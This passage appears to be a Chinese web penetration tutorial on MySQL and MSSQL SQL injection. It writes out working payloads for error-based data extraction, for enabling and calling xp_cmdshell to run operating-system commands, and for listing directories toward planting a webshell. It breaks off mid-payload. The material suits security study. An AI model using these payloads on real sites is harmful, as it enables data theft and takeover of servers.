Web渗透技术(综合)
* * * * SQL注入基础 Const_name() : mysql5.0.12之后才有(高级报错) SELECT NAME_CONST('myname', 14); ++ | myname | ++ | 14 | 通常使用它来报错获取信息: MYSQL注入案例 案例一:本地考试系统(简单) http://localhost/ks/page1.php?id=7 找注入点 查信息 利用信息—爆表数据 找后台—登陆 MYSQL注入案例 案例二:本地门户网站 利用firebug MSSQL注入基础 SQL Server 2000 && SQL Server 2005 特性 当前数据库的表名存放在sysobjects表下 字段名是存放在syscolumns表下 两者之间唯一相同的是ID 如何暴露数据? 得到数据库名后可以在sysobjects表得到表名和id, 再用id 在 syscolumns下查询得到字段名 MSSQL注入基础 Mssql内置函数 db_name() 当前数据库名称 user 当前用户权限 system_user 当前数据库连接账户 host_name() WEB服务器名 @@servername 数据库服务器名 @@version 数据库版本信息 Mssql 注释符 ‘--’两个横线 MSSQL注入基础 mssql注入思想:通过构造错误sql返回特定信息 如:’ and 1=(select @@version)— version结果是char类型,1是整型,不会相等,所以报错,也就暴露了信息 报错可以显示到页面上,有时候网站做了设置所以不显示错误信息,此时可以通过建立临时表来存储,或者远程发送信息到本地数据库 MSSQL注入基础 不同的版本,不同的用户权限,可以用不同的方法做不同的事情来达到注入效果 mssql三种权限:sysadmin>db_owner>public 查看权限: ’ and 1=(select user)-- 查看当前用户: ’ and 1=(select system_user)-- 查看数据库与站点是否分离: ’ and 1=(select @@servername)-- ’ and 1=(select host_name())-- MSSQL注入基础 SA权限(相当于system用户,可执行命令) xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 执行,并以文本行的形式返回所有输出。 ;exec master..xp_cmdshell [net user]— 这里可以使用很多命令:net user ipconfig …… 开启xp_cmdshell(MSSQL 2000默认开启) ;exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll';exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';-- 开启xp_cmdshell:MSSQL 2005/2008默认关闭 ;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- MSSQL注入基础 如何获取执行结果(通过创建临时表方便查询) 创建表:'create table nn(id int identity(1,1),n1 varchar(2000))-- 把执行的结果插入表:'insert into nn(n1) exec master..xp_cmdshell [ipconfig]-- 查询执行结果:‘and 1=(select n1 from nn where id=2)--,如果是2005,则可一次性输出所有结果:‘and 1=(select n1 from nn for xml auto)— 如果是db_owner权限,则: 利用xp_dirtree读web目录的绝对路径,然后利用备份来获取webshell。 ?创建表: ceate table c2(c1 varchar(4000),c2 varchar(4000),c3 varchar(4000),id int identity(1,1))-- ?往表里插数据 insert into c2(c1,c2,c3) exec master..xp_dirtree [c:\],1,1-- ?查询数据 and 1=(select c1 from c2
9553

被折叠的 条评论
为什么被折叠?



